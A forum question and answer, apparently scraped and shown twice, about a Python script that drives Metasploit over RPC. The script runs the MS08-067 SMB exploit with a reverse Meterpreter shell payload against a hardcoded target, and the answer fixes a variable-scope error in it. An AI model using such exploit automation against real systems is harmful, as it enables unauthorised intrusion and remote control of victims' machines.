如何自动化 Metasploit?
How to automate Metasploit?
我正在使用以下代码来自动化 Metasploit:
import os, msfrpc, optparse, sys, subprocess
from time import sleep
def sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']
RHOST="192.168.1.102"
LPORT="444"
LHOST="127.0.0.1"
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')
但它不起作用,我收到错误消息:
client.call('console.write',[console_id,commands])
NameError: name 'client' is not defined
问题是什么?是否有任何其他脚本可以以类似的方式工作?
你的缩进不对。所以 clients.call()
是在你在 sploiter 函数中创建它的上下文之外执行的。
您的客户端仅存在于您的 sploiter 方法中。
我对 python 不太熟悉,但我认为您可以调整 sploiter 方法,使其 returns 客户端。
client = msfrpc.Msfrpc({})
client.login('msf', '123')
return client
在下面的部分你可以做类似
的事情
client = sploiter(Parameter1, Parameter2, Parameter3, Parameter4)
client.call('console.write',[console_id,commands])
我正在使用以下代码来自动化 Metasploit:
import os, msfrpc, optparse, sys, subprocess
from time import sleep
def sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']
RHOST="192.168.1.102"
LPORT="444"
LHOST="127.0.0.1"
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')
但它不起作用,我收到错误消息:
client.call('console.write',[console_id,commands]) NameError: name 'client' is not defined
问题是什么?是否有任何其他脚本可以以类似的方式工作?
你的缩进不对。所以 clients.call()
是在你在 sploiter 函数中创建它的上下文之外执行的。
您的客户端仅存在于您的 sploiter 方法中。 我对 python 不太熟悉,但我认为您可以调整 sploiter 方法,使其 returns 客户端。
client = msfrpc.Msfrpc({})
client.login('msf', '123')
return client
在下面的部分你可以做类似
的事情client = sploiter(Parameter1, Parameter2, Parameter3, Parameter4)
client.call('console.write',[console_id,commands])